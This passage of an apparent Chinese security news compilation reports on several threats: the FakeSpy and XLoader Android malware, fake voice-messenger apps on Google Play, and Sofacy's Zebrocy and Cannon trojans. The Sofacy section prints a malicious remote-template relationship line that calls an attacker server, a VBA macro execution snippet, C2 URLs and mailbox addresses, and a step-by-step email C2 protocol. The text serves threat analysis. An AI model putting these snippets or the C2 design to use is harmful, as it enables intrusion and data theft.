除此之外,FakeSpy和Yanbian app都攻击日本和韩国的网上银行用户,而两款恶意软件的运营者使用的恶意软件都有类似的代码:

Figure 6. Code from a Yanbian Gang app

图6. Yanbian Gang app中的代码

Figure 7. Code from a FakeSpy app

图7. FakeSpy app中的代码

Figure 8. The malicious app from the Yanbian Gang (top) and a FakeSpy sample (bottom) share similar metadata containing the infected devices’ information and C&C server path.

图8. 来源于Yanbian Gang的恶意APP (上)和FakeSpy样本(下)共享相同的元数据,其中含有受感染设备的信息和C2服务器路径

WHOIS结果说明FakeSpy和XLoader共享的恶意域名的注册者都来自中国。注册者的手机号显示地是吉林省,这也是Yanbian Gang已知成员的所在地。

考虑到研究中收集到的信息,研究人员推测Yanbian Gang与FakeSpy和XLoader存在某种联系。可能是两个不同的攻击者组织使用了相同的服务或应用基础设施。XLoader和FakeSpy恶意软件的流行说明用户应该遵守手机安全的最佳实践。

XLoader和FakeSpy恶意软件的行为、目标、基础设施、攻击向量以及发展历程参见研究报告:《The Evolution of XLoader and FakeSpy: Two Interconnected Android Malware Families》。

研究人员发现Google Play中有很多APP伪装成合法的语音消息平台,其中有些应用可以自动弹出伪造的调查文件,有的可以伪造欺骗性的广告点击。这些恶意应用和恶意软件的变种从今年10月开始应用,随后不断进化,加入了绕过技术和多个阶段。分析的样本的模块化能力被标记为version 1.0,研究人员推测攻击者正在开发新的功能,并在之后的恶意活动中进行更新。

目前的感染数量还不是很多,但上传和用户下载量非常大,考虑到手机生态的快速开发迭代和传播,研究人员建议持续关注这一威胁。

截止目前,大多数的fake应用已经下线了,本文就一部分样本进行分析以显示其通用行为。7个识别的APP ID的样本都含有相同的代码和行为,因此研究人员猜测攻击者正在开发新的模块并会在未来应用到更多恶意APP中。

 botnet fake voice messenger app google play_1

图 1. Google Play中伪装为合法声音消息软件的APP

 

botnet fake voice messenger app google play_2

图 2. 恶意voice messenger app安装了超过1000

行为分析

上传到Google Play后,应用尝试使用轻量级的模块化下载器来入侵未知的用户设备。因为这些APP的上传人是不同的,但代码是类似的,因此研究人员怀疑这些APP都来自于同一个作者。APP下载后,第一个组件会连接到C2服务器,任何解密和执行payload。

 botnet fake voice messenger app google play_3

图 3. Payload执行顺序

Payload执行顺序如下:

1.Icon模块会隐藏应用的图标以防止用户卸载应用。

 botnet fake voice messenger app google play_3

图 4. 隐藏图标

2.Wpp模块会打开浏览器来访问任意URL:

 botnet fake voice messenger app google play_3

图 5. 模块收集浏览器中的特定URL

在分析样本时,APP会展示虚假的调查问卷表单来收集用户个人信息来交换礼品卡,包括姓名、电话、手机号、家庭住址等信息。调查问卷表单会通过设备默认浏览器加载。如果无法识别默认浏览器,问卷就会根据C2响应的任一浏览器加载,包括Boat, Brave, Chrome, Cheetah, Dolphin, DU, Firefox, Jiubang Digital Portal, Link Bubble, Opera, Opera Mini, Puffin和UC。

botnet fake voice messenger app google play_3

图 6. 收集用户信息的伪造app

WPP还会通过随机的APP touch事件来生成欺骗性的广告点击。

 botnet fake voice messenger app google play_3

图 7. 用于欺诈性的广告点击的随机app touch事件

3. Socks模块功能就是一个动态库,融合了C-Ares和域名解析功能。虽然研究人员没有发现其与服务器通信,但研究人员认为该功能正在开发中。

botnet fake voice messenger app google play_3

图 8. 融合了 C-Ares的Socks模块

总结

Google已经确认将这些恶意APP从应用商店中移除了。但研究人员认为这类潜在威胁还在,攻击者会不断的加入新的功能,尤其是避免检测的功能。恶意软件证明了犯罪分子可以轻易的伪造数字威胁特征通过APP攻击移动设备。移动设备应该安装综合性的安全软件来应对移动端恶意软件。

Unit 42检测到一系列武器化文件,这些文件可以加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见,但由于其具有模块化的特点,因此自动分析系统很难将其识别为恶意文档。针对这种技术而言,如果C2服务器在代码执行时不可用,则无法检索到恶意代码,从而导致该文档会被判断为非恶意的。

攻击细节

最初研究人员拦截的样本是一个word文档,文件名为crash list(Lion Air Boeing 737).docx,作者Joohn。攻击的目标是欧洲处理外国食物的政府组织。一旦用户尝试打开该文档,word就会尝试加载含有恶意宏的远程模板和payload,payload在DOCX文件的settings.xml.rels的特定位置,如下所示:

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>

如果C2没有正常运行,文档也会打开,但是word就不能提取远程模板,也就不能加载宏。这种情况下,word也会展示诱饵文件内容给受害者,如图2所示。但是不会有启用内容(enable content)的按钮。如果C2正常运行,word就会加载远程模板,如图1所示。

                                             图1 诱饵显示

 一旦受害者按下启用内容,嵌入的宏就会执行。传播的文档中的宏使用了一种autoclose函数方法。这是一种反分析技术,因为word不会完全执行恶意代码指导用户关闭文档。如果自动化沙箱在没有退出文档的情况下退出分析过程,沙箱可能就不能完整的分析恶意活动。宏成功执行后,研究人员看到系统中保存了诱饵文件,但是保存的诱饵文件不会再显示,也不含有和原来文件名相关的内容。宏会获取保存在系统中的文档,文档是以UserForm1.Label1.Caption保存的,并且写入:

%TEMP%\~temp.docm

宏会从保存在系统中的UserForm1.Label2.Caption中获取payload,并写入:

%APPDATA%\MSDN\~msdn.exe

宏会以一种有趣的方式来执行payload:加载释放的 ~temp.docm文件,调用嵌入的宏来运行payload,研究人员认为该文档的创建者会从释放的文件中运行payload作为一种绕过技术。初始的宏使用释放的文档来执行payload可以解释为什么释放的文档中不含诱饵内容。

为了实现这一功能,将~temp.docm和~msdn.exe文件写入系统后,初始的宏会以word文档对象的形式加载 ~temp.docm文件,并尝试运行~temp.docm文件中的Module1 macro中的function Proc1。

Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"

Module1中的Proc1函数会为释放的payload构建一个%APPDATA%\MSDN\~msdn.exe路径,并用内置的shell函数来执行:

121.png

释放到系统中的payload是用Delphi语言编写的UPX打包的Zebrocy变种。Zebrocy与之前Sofacy的攻击中使用基于Delphi的payload是非常相似的。Payload被配置为使用下面的URL来与C2进行通信:

hxxp://188.241.58[.]170/local/s3/filters.php

Zebrocy木马会收集特定的系统信息,并通过HTTP POST请求发送给C2服务器。该木马会运行SYSTEMINFO & TASKLIST命令和枚举关于连接的存储设备信息来收集信息。

也有Zebrocy变种会发送受害者主机的截图(JPEG图片格式)发送给C2服务器。然后C2服务器会提供一个payload给ASCII十六进制表示的信标,木马会解码并写入%APPDATA%\Roaming\Audio\soundfix.exe。

分析过程中,研究人员发现C2服务器还提供另一个payload,payload的功能与初始的Zebrocy样本类似。该payload也是用Delphi编写的,开发者将其配置为用HTTPS通过URL hxxps://200.122.181[.]25/catalog/products/books.php

与C2服务器通信。

Cannon木马

研究人员获取的第二个传播的文档作者也是Joohn,C2地址为188.241.58.170到托管远程模块。结构上讲,该样本与最初分析的文档非常相似,但是payload是一个新的工具——Cannon。

Cannon是用C#编写的,namespace中的恶意代码叫做cannon,因此研究人员将其命名为Cannon。木马功能主要是一个下载器,依赖邮件来完成木马和C2服务器之间的通信。为了与C2服务器通信,木马会通过SMTPS TCP 587端口发送邮件到特定的邮件地址。Cannond的特殊功能可以参见表1,该工具主要依赖于EventHandlers和计时器来以特定顺序运行方法,以增强绕过检测的能力。

 image.png

表 1 Cannon的函数和作用

Cannon的作用是使用多个邮件账号来发送系统数据给威胁单元,并最终从邮件中获取payload。如图2所示,步骤中说明了Cannon与攻击者控制的C2邮箱地址进行通信获取payload的过程:

图2 Cannon的C2处理流

1.Cannon会收集系统信息并保存到ini文件中。然后将i.ini文件以附件的形式发送到 sahro.bella7[at]post.cz,邮件主题为唯一的系统id,邮件主体为S_inf,通过SMTPS发送以下账户之一:

· Bishtr.cam47

· Lobrek.chizh

· Cervot.woprov

2.Cannon会截图并保存为ops文件。木马会发送一个含有sysscr.ops附件的邮件到sahro.bella7[at]post.cz,其中主体含有字符串Screen,主题为唯一系统id,也是通过SMTPS发送到前面提到的账户中。

3.攻击者会登入sahro.bella7[at]post.cz,处理木马发送的信息和截图来确定是否要进一步攻击被入侵的主机。如果攻击者想要下载其他的payload都被黑的主机,就会在之后的步骤中发送邮件。

4.攻击者发送邮件到trala.cosh2[at]post.cz,主题为唯一系统id,消息主体是ASCII十六进制编码的凭证和第二个邮件账户(secondary email account)。当时第二个邮件账户是不知道的,所以在之后的步骤中我们都称之为第二个邮件账户。

5.攻击者发送邮件到第二个邮件账户,邮件的主题是唯一系统id,附件是文件名为txt的第二个payload。

6.Cannon会通过POP3登陆trala.cosh2[at]post.cz账号,寻找主题与唯一系统id匹配的邮件。打开邮件,并解码消息主题中的十六进制数据来获取第二个邮件账号。

7.Cannon会发送附件为s.txt的邮件到sahro.bella7[at]post.cz来确认接收到第二个邮件账号,邮件主体为ok,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

8.攻击者会发送主体为唯一系统id的邮件到trala.cosh2[at]post.cz,其中包含Cannon Trojan用来保存第二个payload的文件路径。

9.Cannon会通过POP3S登陆第二个邮箱地址来寻找主体与唯一系统id匹配的邮件。Cannon打开主题匹配的邮件,并保存附件为auddevc.txt。

10. Cannon会发送附件为l.txt的邮件到sahro.bella7[at]post.cz来确认接收到下载的文件,邮件主体为ok2,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

11.Cannon会通过POP3S登陆trala.cosh2[at]post.cz来寻找主体与唯一系统id匹配的邮件。Cannon打开主题匹配的邮件,并解码消息中主体中的数据来获取文件路径,该文件路径会被用于移动下载的auddevc.txt文件。

12.Cannon会发送附件为s.txt的邮件到 sahro.bella7[at]post.cz来确认文件移动成功,邮件主体为ok3,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

13.Cannon会移动下载的文件到指定路径。

14.Cannon会发送附件为s.txt的邮件到 sahro.bella7[at]post.cz来确认文件成功移动,邮件主体为ok4,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

15.Cannon会从指定路径运行下载的文件。

16.Cannon会发送附件为s.txt的邮件到 sahro.bella7[at]post.cz来接收成功执行的状态,邮件主体为ok5,主题为唯一系统ID,通过SMTPS发送到步骤1中提到的任一邮件地址。

结论

Sofacy威胁组织持续攻击美国、欧盟和前苏联国家来传播Zebrocy工具作为payload。在攻击中,用来安装Zebrocy的文档会使用远程模板,这增加了分析攻击的难度。在攻击中, Sofacy组织使用了狮子航空空难作为诱饵,说明将社会热点事件应用到社会工程攻击中。

同时,研究人员发现该组织还在传播一个名为Cannon的木马,该木马使用SMTPS和POP3S作为C2的信道,而Zebrocy使用HTTP和HTTPS进行C2通信。因为SMTPS和POP3S协议提供合法的基于web的服务,这一层加密使防护者很难拦截C2信道。